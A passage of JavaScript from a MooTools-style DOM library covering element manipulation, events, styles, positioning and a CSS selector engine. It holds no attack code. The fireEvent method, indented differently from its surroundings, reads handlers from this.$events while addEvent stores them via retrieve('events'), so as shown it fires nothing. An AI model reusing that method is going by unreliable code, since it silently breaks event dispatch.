            if (!element.parentNode) return;
            var next = element.nextSibling; (next) ? element.parentNode.insertBefore(context, next) : element.parentNode.appendChild(context)
        },
        bottom: function(context, element) {
            element.appendChild(context)
        },
        top: function(context, element) {
            var first = element.firstChild; (first) ? element.insertBefore(context, first) : element.appendChild(context)
        }
    };
    inserters.inside = inserters.bottom;
    Hash.each(inserters,
    function(inserter, where) {
        where = where.capitalize();
        Element.implement('inject' + where,
        function(el) {
            inserter(this, $(el, true));
            return this
        });
        Element.implement('grab' + where,
        function(el) {
            inserter($(el, true), this);
            return this
        })
    });
    Element.implement({
        set: function(prop, value) {
            switch ($type(prop)) {
            case 'object':
                for (var p in prop) this.set(p, prop[p]);
                break;
            case 'string':
                var property = Element.Properties.get(prop); (property && property.set) ? property.set.apply(this, Array.slice(arguments, 1)) : this.setProperty(prop, value)
            }
            return this
        },
        get: function(prop) {
            var property = Element.Properties.get(prop);
            return (property && property.get) ? property.get.apply(this, Array.slice(arguments, 1)) : this.getProperty(prop)
        },
        erase: function(prop) {
            var property = Element.Properties.get(prop); (property && property.erase) ? property.erase.apply(this) : this.removeProperty(prop);
            return this
        },
        setProperty: function(attribute, value) {
            var key = attributes[attribute];
            if (value == undefined) return this.removeProperty(attribute);
            if (key && bools[attribute]) value = !!value; (key) ? this[key] = value: this.setAttribute(attribute, '' + value);
            return this
        },
        setProperties: function(attributes) {
            for (var attribute in attributes) this.setProperty(attribute, attributes[attribute]);
            return this
        },
        getProperty: function(attribute) {
            var key = attributes[attribute];
            var value = (key) ? this[key] : this.getAttribute(attribute, 2);
            return (bools[attribute]) ? !!value: (key) ? value: value || null
        },
        getProperties: function() {
            var args = $A(arguments);
            return args.map(this.getProperty, this).associate(args)
        },
        removeProperty: function(attribute) {
            var key = attributes[attribute]; (key) ? this[key] = (key && bools[attribute]) ? false: '': this.removeAttribute(attribute);
            return this
        },
        removeProperties: function() {
            Array.each(arguments, this.removeProperty, this);
            return this
        },
        hasClass: function(className) {
            return this.className.contains(className, ' ')
        },
        addClass: function(className) {
            if (!this.hasClass(className)) this.className = (this.className + ' ' + className).clean();
            return this
        },
        removeClass: function(className) {
            this.className = this.className.replace(new RegExp('(^|\\s)' + className + '(?:\\s|$)'), '$1');
            return this
        },
        toggleClass: function(className) {
            return this.hasClass(className) ? this.removeClass(className) : this.addClass(className)
        },
        adopt: function() {
            Array.flatten(arguments).each(function(element) {
                element = $(element, true);
                if (element) this.appendChild(element)
            },
            this);
            return this
        },
        appendText: function(text, where) {
            return this.grab(this.getDocument().newTextNode(text), where)
        },
        grab: function(el, where) {
            inserters[where || 'bottom']($(el, true), this);
            return this
        },
        inject: function(el, where) {
            inserters[where || 'bottom'](this, $(el, true));
            return this
        },
        replaces: function(el) {
            el = $(el, true);
            el.parentNode.replaceChild(this, el);
            return this
        },
        wraps: function(el, where) {
            el = $(el, true);
            return this.replaces(el).grab(el, where)
        },
        getPrevious: function(match, nocash) {
            return walk(this, 'previousSibling', null, match, false, nocash)
        },
        getAllPrevious: function(match, nocash) {
            return walk(this, 'previousSibling', null, match, true, nocash)
        },
        getNext: function(match, nocash) {
            return walk(this, 'nextSibling', null, match, false, nocash)
        },
        getAllNext: function(match, nocash) {
            return walk(this, 'nextSibling', null, match, true, nocash)
        },
        getFirst: function(match, nocash) {
            return walk(this, 'nextSibling', 'firstChild', match, false, nocash)
        },
        getLast: function(match, nocash) {
            return walk(this, 'previousSibling', 'lastChild', match, false, nocash)
        },
        getParent: function(match, nocash) {
            return walk(this, 'parentNode', null, match, false, nocash)
        },
        getParents: function(match, nocash) {
            return walk(this, 'parentNode', null, match, true, nocash)
        },
        getChildren: function(match, nocash) {
            return walk(this, 'nextSibling', 'firstChild', match, true, nocash)
        },
        getWindow: function() {
            return this.ownerDocument.window
        },
        getDocument: function() {
            return this.ownerDocument
        },
        getElementById: function(id, nocash) {
            var el = this.ownerDocument.getElementById(id);
            if (!el) return null;
            for (var parent = el.parentNode; parent != this; parent = parent.parentNode) {
                if (!parent) return null
            }
            return $.element(el, nocash)
        },
        getSelected: function() {
            return new Elements($A(this.options).filter(function(option) {
                return option.selected
            }))
        },
        getComputedStyle: function(property) {
            if (this.currentStyle) return this.currentStyle[property.camelCase()];
            var computed = this.getDocument().defaultView.getComputedStyle(this, null);
            return (computed) ? computed.getPropertyValue([property.hyphenate()]) : null
        },
        toQueryString: function() {
            var queryString = [];
            this.getElements('input, select, textarea', true).each(function(el) {
                if (!el.name || el.disabled) return;
                var value = (el.tagName.toLowerCase() == 'select') ? Element.getSelected(el).map(function(opt) {
                    return opt.value
                }) : ((el.type == 'radio' || el.type == 'checkbox') && !el.checked) ? null: el.value;
                $splat(value).each(function(val) {
                    if (typeof val != 'undefined') queryString.push(el.name + '=' + encodeURIComponent(val))
                })
            });
            return queryString.join('&')
        },
        clone: function(contents, keepid) {
            contents = contents !== false;
            var clone = this.cloneNode(contents);
            var clean = function(node, element) {
                if (!keepid) node.removeAttribute('id');
                if (Browser.Engine.trident) {
                    node.clearAttributes();
                    node.mergeAttributes(element);
                    node.removeAttribute('uid');
                    if (node.options) {
                        var no = node.options,
                        eo = element.options;
                        for (var j = no.length; j--;) no[j].selected = eo[j].selected
                    }
                }
                var prop = props[element.tagName.toLowerCase()];
                if (prop && element[prop]) node[prop] = element[prop]
            };
            if (contents) {
                var ce = clone.getElementsByTagName('*'),
                te = this.getElementsByTagName('*');
                for (var i = ce.length; i--;) clean(ce[i], te[i])
            }
            clean(clone, this);
            return $(clone)
        },
        destroy: function() {
            Element.empty(this);
            Element.dispose(this);
            clean(this, true);
            return null
        },
        empty: function() {
            $A(this.childNodes).each(function(node) {
                Element.destroy(node)
            });
            return this
        },
        dispose: function() {
            return (this.parentNode) ? this.parentNode.removeChild(this) : this
        },
        hasChild: function(el) {
            el = $(el, true);
            if (!el) return false;
            if (Browser.Engine.webkit && Browser.Engine.version < 420) return $A(this.getElementsByTagName(el.tagName)).contains(el);
            return (this.contains) ? (this != el && this.contains(el)) : !!(this.compareDocumentPosition(el) & 16)
        },
        match: function(tag) {
            return (!tag || (tag == this) || (Element.get(this, 'tag') == tag))
        }
    });
    Native.implement([Element, Window, Document], {
        addListener: function(type, fn) {
            if (type == 'unload') {
                var old = fn,
                self = this;
                fn = function() {
                    self.removeListener('unload', fn);
                    old()
                }
            } else {
                collected[this.uid] = this
            }
            if (this.addEventListener) this.addEventListener(type, fn, false);
            else this.attachEvent('on' + type, fn);
            return this
        },
        removeListener: function(type, fn) {
            if (this.removeEventListener) this.removeEventListener(type, fn, false);
            else this.detachEvent('on' + type, fn);
            return this
        },
        retrieve: function(property, dflt) {
            var storage = get(this.uid),
            prop = storage[property];
            if (dflt != undefined && prop == undefined) prop = storage[property] = dflt;
            return $pick(prop)
        },
        store: function(property, value) {
            var storage = get(this.uid);
            storage[property] = value;
            return this
        },
        eliminate: function(property) {
            var storage = get(this.uid);
            delete storage[property];
            return this
        }
    });
    window.addListener('unload', purge)
})();
Element.Properties = new Hash;
Element.Properties.style = {
    set: function(style) {
        this.style.cssText = style
    },
    get: function() {
        return this.style.cssText
    },
    erase: function() {
        this.style.cssText = ''
    }
};
Element.Properties.tag = {
    get: function() {
        return this.tagName.toLowerCase()
    }
};
Element.Properties.html = (function() {
    var wrapper = document.createElement('div');
    var translations = {
        table: [1, '<table>', '</table>'],
        select: [1, '<select>', '</select>'],
        tbody: [2, '<table><tbody>', '</tbody></table>'],
        tr: [3, '<table><tbody><tr>', '</tr></tbody></table>']
    };
    translations.thead = translations.tfoot = translations.tbody;
    var html = {
        set: function() {
            var html = Array.flatten(arguments).join('');
            var wrap = Browser.Engine.trident && translations[this.get('tag')];
            if (wrap) {
                var first = wrapper;
                first.innerHTML = wrap[1] + html + wrap[2];
                for (var i = wrap[0]; i--;) first = first.firstChild;
                this.empty().adopt(first.childNodes)
            } else {
                this.innerHTML = html
            }
        }
    };
    html.erase = html.set;
    return html
})();
if (Browser.Engine.webkit && Browser.Engine.version < 420) Element.Properties.text = {
    get: function() {
        if (this.innerText) return this.innerText;
        var temp = this.ownerDocument.newElement('div', {
            html: this.innerHTML
        }).inject(this.ownerDocument.body);
        var text = temp.innerText;
        temp.destroy();
        return text
    }
};
Element.Properties.events = {
    set: function(events) {
        this.addEvents(events)
    }
};
Native.implement([Element, Window, Document], {
    addEvent: function(type, fn) {
        var events = this.retrieve('events', {});
        events[type] = events[type] || {
            'keys': [],
            'values': []
        };
        if (events[type].keys.contains(fn)) return this;
        events[type].keys.push(fn);
        var realType = type,
        custom = Element.Events.get(type),
        condition = fn,
        self = this;
        if (custom) {
            if (custom.onAdd) custom.onAdd.call(this, fn);
            if (custom.condition) {
                condition = function(event) {
                    if (custom.condition.call(this, event)) return fn.call(this, event);
                    return true
                }
            }
            realType = custom.base || realType
        }
        var defn = function() {
            return fn.call(self)
        };
        var nativeEvent = Element.NativeEvents[realType];
        if (nativeEvent) {
            if (nativeEvent == 2) {
                defn = function(event) {
                    event = new Event(event, self.getWindow());
                    if (condition.call(self, event) === false) event.stop()
                }
            }
            this.addListener(realType, defn)
        }
        events[type].values.push(defn);
        return this
    },
    removeEvent: function(type, fn) {
        var events = this.retrieve('events');
        if (!events || !events[type]) return this;
        var pos = events[type].keys.indexOf(fn);
        if (pos == -1) return this;
        events[type].keys.splice(pos, 1);
        var value = events[type].values.splice(pos, 1)[0];
        var custom = Element.Events.get(type);
        if (custom) {
            if (custom.onRemove) custom.onRemove.call(this, fn);
            type = custom.base || type
        }
        return (Element.NativeEvents[type]) ? this.removeListener(type, value) : this
    },
    addEvents: function(events) {
        for (var event in events) this.addEvent(event, events[event]);
        return this
    },
    removeEvents: function(events) {
        if ($type(events) == 'object') {
            for (var type in events) this.removeEvent(type, events[type]);
            return this
        }
        var attached = this.retrieve('events');
        if (!attached) return this;
        if (!events) {
            for (var type in attached) this.removeEvents(type);
            this.eliminate('events')
        } else if (attached[events]) {
            while (attached[events].keys[0]) this.removeEvent(events, attached[events].keys[0]);
            attached[events] = null
        }
        return this
    },
	fireEvent: function(type, args, delay){
		type = Events.removeOn(type);
		if (!this.$events || !this.$events[type]) return this;
		this.$events[type].each(function(fn){
			fn.create({'bind': this, 'delay': delay, 'arguments': args})();
		}, this);
		return this;
	},
    cloneEvents: function(from, type) {
        from = $(from);
        var fevents = from.retrieve('events');
        if (!fevents) return this;
        if (!type) {
            for (var evType in fevents) this.cloneEvents(from, evType)
        } else if (fevents[type]) {
            fevents[type].keys.each(function(fn) {
                this.addEvent(type, fn)
            },
            this)
        }
        return this
    }
});
Element.NativeEvents = {
    click: 2,
    dblclick: 2,
    mouseup: 2,
    mousedown: 2,
    contextmenu: 2,
    mousewheel: 2,
    DOMMouseScroll: 2,
    mouseover: 2,
    mouseout: 2,
    mousemove: 2,
    selectstart: 2,
    selectend: 2,
    keydown: 2,
    keypress: 2,
    keyup: 2,
    focus: 2,
    blur: 2,
    change: 2,
    reset: 2,
    select: 2,
    submit: 2,
    load: 1,
    unload: 1,
    beforeunload: 2,
    resize: 1,
    move: 1,
    DOMContentLoaded: 1,
    readystatechange: 1,
    error: 1,
    abort: 1,
    scroll: 1
}; (function() {
    var $check = function(event) {
        var related = event.relatedTarget;
        if (related == undefined) return true;
        if (related === false) return false;
        return ($type(this) != 'document' && related != this && related.prefix != 'xul' && !this.hasChild(related))
    };
    Element.Events = new Hash({
        mouseenter: {
            base: 'mouseover',
            condition: $check
        },
        mouseleave: {
            base: 'mouseout',
            condition: $check
        },
        mousewheel: {
            base: (Browser.Engine.gecko) ? 'DOMMouseScroll': 'mousewheel'
        }
    })
})();
Element.Properties.styles = {
    set: function(styles) {
        this.setStyles(styles)
    }
};
Element.Properties.opacity = {
    set: function(opacity, novisibility) {
        if (!novisibility) {
            if (opacity == 0) {
                if (this.style.visibility != 'hidden') this.style.visibility = 'hidden'
            } else {
                if (this.style.visibility != 'visible') this.style.visibility = 'visible'
            }
        }
        if (!this.currentStyle || !this.currentStyle.hasLayout) this.style.zoom = 1;
        if (Browser.Engine.trident) this.style.filter = (opacity == 1) ? '': 'alpha(opacity=' + opacity * 100 + ')';
        this.style.opacity = opacity;
        this.store('opacity', opacity)
    },
    get: function() {
        return this.retrieve('opacity', 1)
    }
};
Element.implement({
    setOpacity: function(value) {
        return this.set('opacity', value, true)
    },
    getOpacity: function() {
        return this.get('opacity')
    },
    setStyle: function(property, value) {
        switch (property) {
        case 'opacity':
            return this.set('opacity', parseFloat(value));
        case 'float':
            property = (Browser.Engine.trident) ? 'styleFloat': 'cssFloat'
        }
        property = property.camelCase();
        if ($type(value) != 'string') {
            var map = (Element.Styles.get(property) || '@').split(' ');
            value = $splat(value).map(function(val, i) {
                if (!map[i]) return '';
                return ($type(val) == 'number') ? map[i].replace('@', Math.round(val)) : val
            }).join(' ')
        } else if (value == String(Number(value))) {
            value = Math.round(value)
        }
        this.style[property] = value;
        return this
    },
    getStyle: function(property) {
        switch (property) {
        case 'opacity':
            return this.get('opacity');
        case 'float':
            property = (Browser.Engine.trident) ? 'styleFloat': 'cssFloat'
        }
        property = property.camelCase();
        var result = this.style[property];
        if (!$chk(result)) {
            result = [];
            for (var style in Element.ShortStyles) {
                if (property != style) continue;
                for (var s in Element.ShortStyles[style]) result.push(this.getStyle(s));
                return result.join(' ')
            }
            result = this.getComputedStyle(property)
        }
        if (result) {
            result = String(result);
            var color = result.match(/rgba?\([\d\s,]+\)/);
            if (color) result = result.replace(color[0], color[0].rgbToHex())
        }
        if (Browser.Engine.presto || (Browser.Engine.trident && !$chk(parseInt(result)))) {
            if (property.test(/^(height|width)$/)) {
                var values = (property == 'width') ? ['left', 'right'] : ['top', 'bottom'],
                size = 0;
                values.each(function(value) {
                    size += this.getStyle('border-' + value + '-width').toInt() + this.getStyle('padding-' + value).toInt()
                },
                this);
                return this['offset' + property.capitalize()] - size + 'px'
            }
            if ((Browser.Engine.presto) && String(result).test('px')) return result;
            if (property.test(/(border(.+)Width|margin|padding)/)) return '0px'
        }
        return result
    },
    setStyles: function(styles) {
        for (var style in styles) this.setStyle(style, styles[style]);
        return this
    },
    getStyles: function() {
        var result = {};
        Array.each(arguments,
        function(key) {
            result[key] = this.getStyle(key)
        },
        this);
        return result
    }
});
Element.Styles = new Hash({
    left: '@px',
    top: '@px',
    bottom: '@px',
    right: '@px',
    width: '@px',
    height: '@px',
    maxWidth: '@px',
    maxHeight: '@px',
    minWidth: '@px',
    minHeight: '@px',
    backgroundColor: 'rgb(@, @, @)',
    backgroundPosition: '@px @px',
    color: 'rgb(@, @, @)',
    fontSize: '@px',
    letterSpacing: '@px',
    lineHeight: '@px',
    clip: 'rect(@px @px @px @px)',
    margin: '@px @px @px @px',
    padding: '@px @px @px @px',
    border: '@px @ rgb(@, @, @) @px @ rgb(@, @, @) @px @ rgb(@, @, @)',
    borderWidth: '@px @px @px @px',
    borderStyle: '@ @ @ @',
    borderColor: 'rgb(@, @, @) rgb(@, @, @) rgb(@, @, @) rgb(@, @, @)',
    zIndex: '@',
    'zoom': '@',
    fontWeight: '@',
    textIndent: '@px',
    opacity: '@'
});
Element.ShortStyles = {
    margin: {},
    padding: {},
    border: {},
    borderWidth: {},
    borderStyle: {},
    borderColor: {}
}; ['Top', 'Right', 'Bottom', 'Left'].each(function(direction) {
    var Short = Element.ShortStyles;
    var All = Element.Styles; ['margin', 'padding'].each(function(style) {
        var sd = style + direction;
        Short[style][sd] = All[sd] = '@px'
    });
    var bd = 'border' + direction;
    Short.border[bd] = All[bd] = '@px @ rgb(@, @, @)';
    var bdw = bd + 'Width',
    bds = bd + 'Style',
    bdc = bd + 'Color';
    Short[bd] = {};
    Short.borderWidth[bdw] = Short[bd][bdw] = All[bdw] = '@px';
    Short.borderStyle[bds] = Short[bd][bds] = All[bds] = '@';
    Short.borderColor[bdc] = Short[bd][bdc] = All[bdc] = 'rgb(@, @, @)'
}); (function() {
    Element.implement({
        scrollTo: function(x, y) {
            if (isBody(this)) {
                this.getWindow().scrollTo(x, y)
            } else {
                this.scrollLeft = x;
                this.scrollTop = y
            }
            return this
        },
        getSize: function() {
            if (isBody(this)) return this.getWindow().getSize();
            return {
                x: this.offsetWidth,
                y: this.offsetHeight
            }
        },
        getScrollSize: function() {
            if (isBody(this)) return this.getWindow().getScrollSize();
            return {
                x: this.scrollWidth,
                y: this.scrollHeight
            }
        },
        getScroll: function() {
            if (isBody(this)) return this.getWindow().getScroll();
            return {
                x: this.scrollLeft,
                y: this.scrollTop
            }
        },
        getScrolls: function() {
            var element = this,
            position = {
                x: 0,
                y: 0
            };
            while (element && !isBody(element)) {
                position.x += element.scrollLeft;
                position.y += element.scrollTop;
                element = element.parentNode
            }
            return position
        },
        getOffsetParent: function() {
            var element = this;
            if (isBody(element)) return null;
            if (!Browser.Engine.trident) return element.offsetParent;
            while ((element = element.parentNode) && !isBody(element)) {
                if (styleString(element, 'position') != 'static') return element
            }
            return null
        },
        getOffsets: function() {
            if (Browser.Engine.trident) {
                var bound = this.getBoundingClientRect(),
                html = this.getDocument().documentElement;
                return {
                    x: bound.left + html.scrollLeft - html.clientLeft,
                    y: bound.top + html.scrollTop - html.clientTop
                }
            }
            var element = this,
            position = {
                x: 0,
                y: 0
            };
            if (isBody(this)) return position;
            while (element && !isBody(element)) {
                position.x += element.offsetLeft;
                position.y += element.offsetTop;
                if (Browser.Engine.gecko) {
                    if (!borderBox(element)) {
                        position.x += leftBorder(element);
                        position.y += topBorder(element)
                    }
                    var parent = element.parentNode;
                    if (parent && styleString(parent, 'overflow') != 'visible') {
                        position.x += leftBorder(parent);
                        position.y += topBorder(parent)
                    }
                } else if (element != this && Browser.Engine.webkit) {
                    position.x += leftBorder(element);
                    position.y += topBorder(element)
                }
                element = element.offsetParent
            }
            if (Browser.Engine.gecko && !borderBox(this)) {
                position.x -= leftBorder(this);
                position.y -= topBorder(this)
            }
            return position
        },
        getPosition: function(relative) {
            if (isBody(this)) return {
                x: 0,
                y: 0
            };
            var offset = this.getOffsets(),
            scroll = this.getScrolls();
            var position = {
                x: offset.x - scroll.x,
                y: offset.y - scroll.y
            };
            var relativePosition = (relative && (relative = $(relative))) ? relative.getPosition() : {
                x: 0,
                y: 0
            };
            return {
                x: position.x - relativePosition.x,
                y: position.y - relativePosition.y
            }
        },
        getCoordinates: function(element) {
            if (isBody(this)) return this.getWindow().getCoordinates();
            var position = this.getPosition(element),
            size = this.getSize();
            var obj = {
                left: position.x,
                top: position.y,
                width: size.x,
                height: size.y
            };
            obj.right = obj.left + obj.width;
            obj.bottom = obj.top + obj.height;
            return obj
        },
        computePosition: function(obj) {
            return {
                left: obj.x - styleNumber(this, 'margin-left'),
                top: obj.y - styleNumber(this, 'margin-top')
            }
        },
        position: function(obj) {
            return this.setStyles(this.computePosition(obj))
        }
    });
    Native.implement([Document, Window], {
        getSize: function() {
            var win = this.getWindow();
            if (Browser.Engine.presto || Browser.Engine.webkit) return {
                x: win.innerWidth,
                y: win.innerHeight
            };
            var doc = getCompatElement(this);
            return {
                x: doc.clientWidth,
                y: doc.clientHeight
            }
        },
        getScroll: function() {
            var win = this.getWindow();
            var doc = getCompatElement(this);
            return {
                x: win.pageXOffset || doc.scrollLeft,
                y: win.pageYOffset || doc.scrollTop
            }
        },
        getScrollSize: function() {
            var doc = getCompatElement(this);
            var min = this.getSize();
            return {
                x: Math.max(doc.scrollWidth, min.x),
                y: Math.max(doc.scrollHeight, min.y)
            }
        },
        getPosition: function() {
            return {
                x: 0,
                y: 0
            }
        },
        getCoordinates: function() {
            var size = this.getSize();
            return {
                top: 0,
                left: 0,
                bottom: size.y,
                right: size.x,
                height: size.y,
                width: size.x
            }
        }
    });
    var styleString = Element.getComputedStyle;
    function styleNumber(element, style) {
        return styleString(element, style).toInt() || 0
    };
    function borderBox(element) {
        return styleString(element, '-moz-box-sizing') == 'border-box'
    };
    function topBorder(element) {
        return styleNumber(element, 'border-top-width')
    };
    function leftBorder(element) {
        return styleNumber(element, 'border-left-width')
    };
    function isBody(element) {
        return (/^(?:body|html)$/i).test(element.tagName)
    };
    function getCompatElement(element) {
        var doc = element.getDocument();
        return (!doc.compatMode || doc.compatMode == 'CSS1Compat') ? doc.html: doc.body
    }
})();
Native.implement([Window, Document, Element], {
    getHeight: function() {
        return this.getSize().y
    },
    getWidth: function() {
        return this.getSize().x
    },
    getScrollTop: function() {
        return this.getScroll().y
    },
    getScrollLeft: function() {
        return this.getScroll().x
    },
    getScrollHeight: function() {
        return this.getScrollSize().y
    },
    getScrollWidth: function() {
        return this.getScrollSize().x
    },
    getTop: function() {
        return this.getPosition().y
    },
    getLeft: function() {
        return this.getPosition().x
    }
});
Native.implement([Document, Element], {
    getElements: function(expression, nocash) {
        expression = expression.split(',');
        var items,
        local = {};
        for (var i = 0, l = expression.length; i < l; i++) {
            var selector = expression[i],
            elements = Selectors.Utils.search(this, selector, local);
            if (i != 0 && elements.item) elements = $A(elements);
            items = (i == 0) ? elements: (items.item) ? $A(items).concat(elements) : items.concat(elements)
        }
        return new Elements(items, {
            ddup: (expression.length > 1),
            cash: !nocash
        })
    }
});
Element.implement({
    match: function(selector) {
        if (!selector || (selector == this)) return true;
        var tagid = Selectors.Utils.parseTagAndID(selector);
        var tag = tagid[0],
        id = tagid[1];
        if (!Selectors.Filters.byID(this, id) || !Selectors.Filters.byTag(this, tag)) return false;
        var parsed = Selectors.Utils.parseSelector(selector);
        return (parsed) ? Selectors.Utils.filter(this, parsed, {}) : true
    }
});
var Selectors = {
    Cache: {
        nth: {},
        parsed: {}
    }
};
Selectors.RegExps = {
    id: (/#([\w-]+)/),
    tag: (/^(\w+|\*)/),
    quick: (/^(\w+|\*)$/),
    splitter: (/\s*([+>~\s])\s*([a-zA-Z#.*:\[])/g),
    combined: (/\.([\w-]+)|\[(\w+)(?:([!*^$~|]?=)(["']?)([^\4]*?)\4)?\]|:([\w-]+)(?:\(["']?(.*?)?["']?\)|$)/g)
};
Selectors.Utils = {
    chk: function(item, uniques) {
        if (!uniques) return true;
        var uid = $uid(item);
        if (!uniques[uid]) return uniques[uid] = true;
        return false
    },
    parseNthArgument: function(argument) {
        if (Selectors.Cache.nth[argument]) return Selectors.Cache.nth[argument];
        var parsed = argument.match(/^([+-]?\d*)?([a-z]+)?([+-]?\d*)?$/);
        if (!parsed) return false;
        var inta = parseInt(parsed[1]);
        var a = (inta || inta === 0) ? inta: 1;
        var special = parsed[2] || false;
        var b = parseInt(parsed[3]) || 0;
        if (a != 0) {
            b--;
            while (b < 1) b += a;
            while (b >= a) b -= a
        } else {
            a = b;
            special = 'index'
        }
        switch (special) {
        case 'n':
            parsed = {
                a: a,
                b: b,
                special: 'n'
            };
            break;
        case 'odd':
            parsed = {
                a: 2,
                b: 0,
                special: 'n'
            };
            break;
        case 'even':
            parsed = {
                a: 2,
                b: 1,
                special: 'n'
            };
            break;
        case 'first':
            parsed = {
                a: 0,
                special: 'index'
            };
            break;
        case 'last':
            parsed = {
                special: 'last-child'
            };
            break;
        case 'only':
            parsed = {
                special: 'only-child'
            };
            break;
        default:
            parsed = {
                a: (a - 1),
                special: 'index'
            }
        }
        return Selectors.Cache.nth[argument] = parsed
    },
    parseSelector: function(selector) {
        if (Selectors.Cache.parsed[selector]) return Selectors.Cache.parsed[selector];
        var m,
        parsed = {
            classes: [],
            pseudos: [],
            attributes: []
        };
        while ((m = Selectors.RegExps.combined.exec(selector))) {
            var cn = m[1],
            an = m[2],
            ao = m[3],
            av = m[5],
            pn = m[6],
            pa = m[7];
            if (cn) {
                parsed.classes.push(cn)
            } else if (pn) {
                var parser = Selectors.Pseudo.get(pn);
                if (parser) parsed.pseudos.push({
                    parser: parser,
                    argument: pa
                });
                else parsed.attributes.push({
                    name: pn,
                    operator: '=',
                    value: pa
                })
            } else if (an) {
                parsed.attributes.push({
                    name: an,
                    operator: ao,
                    value: av
                })
            }
        }
        if (!parsed.classes.length) delete parsed.classes;
        if (!parsed.attributes.length) delete parsed.attributes;
        if (!parsed.pseudos.length) delete parsed.pseudos;
        if (!parsed.classes && !parsed.attributes && !parsed.pseudos) parsed = null;
        return Selectors.Cache.parsed[selector] = parsed
    },
    parseTagAndID: function(selector) {
        var tag = selector.match(Selectors.RegExps.tag);
        var id = selector.match(Selectors.RegExps.id);
        return [(tag) ? tag[1] : '*', (id) ? id[1] : false]
    },
    filter: function(item, parsed, local) {
        var i;
        if (parsed.classes) {
            for (i = parsed.classes.length; i--; i) {
                var cn = parsed.classes[i];
                if (!Selectors.Filters.byClass(item, cn)) return false
            }
        }
        if (parsed.attributes) {
            for (i = parsed.attributes.length; i--; i) {
                var att = parsed.attributes[i];
                if (!Selectors.Filters.byAttribute(item, att.name, att.operator, att.value)) return false
            }
        }
        if (parsed.pseudos) {
            for (i = parsed.pseudos.length; i--; i) {
                var psd = parsed.pseudos[i];
                if (!Selectors.Filters.byPseudo(item, psd.parser, psd.argument, local)) return false
            }
        }
        return true
    },
    getByTagAndID: function(ctx, tag, id) {
        if (id) {
            var item = (ctx.getElementById) ? ctx.getElementById(id, true) : Element.getElementById(ctx, id, true);
            return (item && Selectors.Filters.byTag(item, tag)) ? [item] : []
        } else {
            return ctx.getElementsByTagName(tag)
        }
    },
    search: function(self, expression, local) {
        var splitters = [];
        var selectors = expression.trim().replace(Selectors.RegExps.splitter,
        function(m0, m1, m2) {
            splitters.push(m1);
            return ':)' + m2
        }).split(':)');
        var items,
        filtered,
        item;
        for (var i = 0, l = selectors.length; i < l; i++) {
            var selector = selectors[i];
            if (i == 0 && Selectors.RegExps.quick.test(selector)) {
                items = self.getElementsByTagName(selector);
                continue
            }
            var splitter = splitters[i - 1];
            var tagid = Selectors.Utils.parseTagAndID(selector);
            var tag = tagid[0],
            id = tagid[1];
            if (i == 0) {
                items = Selectors.Utils.getByTagAndID(self, tag, id)
            } else {
                var uniques = {},
                found = [];
                for (var j = 0, k = items.length; j < k; j++) found = Selectors.Getters[splitter](found, items[j], tag, id, uniques);
                items = found
            }
            var parsed = Selectors.Utils.parseSelector(selector);
            if (parsed) {
                filtered = [];
                for (var m = 0, n = items.length; m < n; m++) {
                    item = items[m];
                    if (Selectors.Utils.filter(item, parsed, local)) filtered.push(item)
                }
                items = filtered
            }
        }
        return items
    }
};
Selectors.Getters = {
    ' ': function(found, self, tag, id, uniques) {
        var items = Selectors.Utils.getByTagAndID(self, tag, id);
        for (var i = 0, l = items.length; i < l; i++) {
            var item = items[i];
            if (Selectors.Utils.chk(item, uniques)) found.push(item)
        }
        return found
    },
    '>': function(found, self, tag, id, uniques) {
        var children = Selectors.Utils.getByTagAndID(self, tag, id);
        for (var i = 0, l = children.length; i < l; i++) {
            var child = children[i];
            if (child.parentNode == self && Selectors.Utils.chk(child, uniques)) found.push(child)
        }
        return found
    },
    '+': function(found, self, tag, id, uniques) {
        while ((self = self.nextSibling)) {
            if (self.nodeType == 1) {
                if (Selectors.Utils.chk(self, uniques) && Selectors.Filters.byTag(self, tag) && Selectors.Filters.byID(self, id)) found.push(self);
                break
            }
        }
        return found
    },
    '~': function(found, self, tag, id, uniques) {
        while ((self = self.nextSibling)) {
            if (self.nodeType == 1) {
                if (!Selectors.Utils.chk(self, uniques)) break;
                if (Selectors.Filters.byTag(self, tag) && Selectors.Filters.byID(self, id)) found.push(self)
            }
        }
        return found
    }
};
Selectors.Filters = {
    byTag: function(self, tag) {
        return (tag == '*' || (self.tagName && self.tagName.toLowerCase() == tag))
    },
    byID: function(self, id) {
        return (!id || (self.id && self.id == id))
    },
    byClass: function(self, klass) {
        return (self.className && self.className.contains(klass, ' '))
    },
    byPseudo: function(self, parser, argument, local) {
        return parser.call(self, argument, local)
    },
    byAttribute: function(self, name, operator, value) {
        var result = Element.prototype.getProperty.call(self, name);
        if (!result) return (operator == '!=');
        if (!operator || value == undefined) return true;
        switch (operator) {
        case '=':
            return (result == value);
        case '*=':
            return (result.contains(value));
        case '^=':
            return (result.substr(0, value.length) == value);
        case '$=':
            return (result.substr(result.length - value.length) == value);
        case '!=':
            return (result != value);
        case '~=':
            return result.contains(value, ' ');
        case '|=':
            return result.contains(value, '-')
        }
        return false
    }
};
Selectors.Pseudo = new Hash({
    checked: function() {
        return this.checked
    },
    empty: function() {
        return ! (this.innerText || this.textContent || '').length
    },
    not: function(selector) {
        return ! Element.match(this, selector)
    },
    contains: function(text) {
        return (this.innerText || this.textContent || '').contains(text)
    },
    'first-child': function() {
        return Selectors.Pseudo.index.call(this, 0)
    },
    'last-child': function() {
        var element = this;
        while ((element = element.nextSibling)) {
            if (element.nodeType == 1) return false
        }
        return true
    },
    'only-child': function() {
        var prev = this;
        while ((prev = prev.previousSibling)) {
            if (prev.nodeType == 1) return false
        }
        var next = this;
        while ((next = next.nextSibling)) {
            if (next.nodeType == 1) return false
        }
        return true
    },
    'nth-child': function(argument, local) {
        argument = (argument == undefined) ? 'n': argument;
        var parsed = Selectors.Utils.parseNthArgument(argument);
        if (parsed.special != 'n') return Selectors.Pseudo[parsed.special].call(this, parsed.a, local);
        var count = 0;
        local.positions = local.positions || {};
        var uid = $uid(this);
        if (!local.positions[uid]) {
            var self = this;
            while ((self = self.previousSibling)) {
                if (self.nodeType != 1) continue;
                count++;
                var position = local.positions[$uid(self)];
                if (position != undefined) {
                    count = position + count;
                    break
                }
            }
            local.positions[uid] = count
        }
        return (local.positions[uid] % parsed.a == parsed.b)
    },
    index: function(index) {
        var element = this,
        count = 0;
        while ((element = element.previousSibling)) {
            if (element.nodeType == 1 && ++count > index) return false
        }
        return (count == index)
    },
    even: function(argument, local) {
        return Selectors.Pseudo['nth-child'].call(this, '2n+1', local)
    },
    odd: function(argument, local) {
        return Selectors.Pseudo['nth-child'].call(this, '2n', local)
    }
});
Element.Events.domready = {
